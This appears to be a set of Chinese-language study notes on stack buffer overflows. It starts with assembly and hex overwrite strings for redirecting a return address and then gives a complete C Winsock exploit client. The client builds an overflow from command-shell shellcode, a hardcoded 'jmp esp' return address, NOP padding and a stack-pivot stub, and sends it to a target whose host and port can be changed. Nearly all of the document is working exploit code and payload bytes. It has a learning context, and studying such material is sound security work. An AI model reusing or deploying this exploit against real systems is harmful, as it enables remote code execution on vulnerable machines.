buf中的代码 mov $0xdeadbeef, %eax mov $0x0040122a, %edx jmp *%edx 机器码 B8 EF BE AD DE BA 8D D8 40 00 FF E2 或 mov $0xdeadbeef, %eax push $0x401476 ret这个方法也是有缺陷的。因为GetBuf()结束后跳到Buf[]时这段内存空间其实已经被释放掉了,会被各种修改。
buf[]在 0012ef3c ebp-4在 0012ef9c中间的数据据说都是没用的,这个方法有点暴力,不过还是可以解决问题的。
deadbeefdeadbeefdeadbeefa0ef12006d124000deadbeefdeadbeefdeadbeefa0ef1200efbeaddedeadbeefdeadbeefdeadbeefa0ef1200efbeaddedeadbeefdeadbeefdeadbeefa0ef1200efbeaddedeadbeefdeadbeefdeadbeefdeadbeefefbeadde80ff1200fd124000
http://bbs.pediy.com/showthread.php?p=930585
#include<stdio.h> #include<stdlib.h> #include<string.h> #include<winsock2.h> #include<windows.h> #pragma comment(lib,"ws2_32.lib") #define MAXDATA 200 #define MAXBUF 1024 //开DOS命令窗口(通用型) char CMD_Shellcode[1024]= "\x60\xFC\x83\xEC\x40\x33\xC9\x64" "\x8B\x41\x30\x8B\x40\x0C\x8B\x70" "\x1C\x8B\x46\x08\x8B\x7E\x20\x8B" "\x36\x66\x39\x4F\x18\x75\xF2\x8B" "\xE8\x8B\x45\x3C\x8B\x4C\x28\x78" "\x03\xCD\x8B\x59\x20\x03\xDD\x33" "\xFF\x47\x8B\x34\xBB\x03\xF5\x8B" "\x06\x3D\x57\x69\x6E\x45\x75\xF1" "\x8B\x59\x24\x03\xDD\x66\x8B\x3C" "\x7B\x8B\x59\x1C\x03\xDD\x03\x2C" "\xBB\x95\x33\xDB\x43\xB9\x73\x7D" "\x74\x01\x81\xE9\x10\x10\x10\x01" "\x51\x53\x8D\x5C\x24\x04\x53\xFF" "\xD0\x83\xC4\x44\x61" //运行完shellcode重新返回程序入口点402027h "\xB8\x38\x31\x51\x11" //mov eax,11513138h "\x2D\x11\x11\x11\x11" //sub eax,11111111h 等价mov eax,402027h "\x50" //push eax "\xC3"; //ret char junk0[9] = "\x90\x90\x90\x90\x90\x90\x90\x90"; char junk1[MAXDATA] = {90}; char eip2jmp[5] = "\x12\x45\xfa\x7f"; //通用地址Locate Address Of "jmp esp" char JmpToShellcode[9] = "\x81\xc4\x38\xff\xff\xff\xff\xe4"; //ADD ESP,-0c8h ; JMP ESP hex(c8)=200 char junk2[5] = "\x90\x90\x90\x90"; //shellcode缓冲区 char exploit[MAXBUF]={0}; char *host = "127.0.0.1"; char *port = "7777"; //主函数 int main(int argc,char* argv[]) { int num=0; SOCKET CSock; SOCKADDR_IN ServAddr; WSADATA wsa; printf("overflow4.exe <IP/127.0.0.1> <PORT/7777>\n\n"); if(argc==3) { strcpy(host,argv[1]); strcpy(port,argv[2]); } //初始化winsocket库 WSAStartup(MAKEWORD(2,2),&wsa); //初始化套接字 CSock=socket(AF_INET,SOCK_STREAM,0); if(INVALID_SOCKET==CSock) { printf("init SOCK fail!\n"); WSACleanup(); exit(0); } ServAddr.sin_family=AF_INET; ServAddr.sin_addr.s_addr=inet_addr(host); ServAddr.sin_port=htons(atoi(port)); //连接服务器套接字 if(connect(CSock,(sockaddr*)&ServAddr,sizeof(sockaddr))==SOCKET_ERROR) { printf("can't connect %s:%d !\n",::inet_ntoa(ServAddr.sin_addr),::ntohs(ServAddr.sin_port)); closesocket(CSock); WSACleanup(); exit(0); } //构造shellcode ZeroMemory(exploit,sizeof(exploit)); strncpy(exploit,junk0,strlen(junk0)); strncat(exploit,CMD_Shellcode,strlen(CMD_Shellcode)); memset(junk1,90,MAXDATA-strlen(CMD_Shellcode)-strlen(junk0)); strncat(exploit,junk1,strlen(junk1)); strncat(exploit,eip2jmp,strlen(eip2jmp)); strncat(exploit,JmpToShellcode,strlen(JmpToShellcode)); strncat(exploit,junk2,strlen(junk2)); //发生shellcode数据包 num=send(CSock,exploit,strlen(exploit),0); if(num) { printf("%s%d%s\n\n","Success to sent ", strlen(exploit)," bytes data!"); closesocket(CSock); } WSACleanup(); getchar(); return 0; }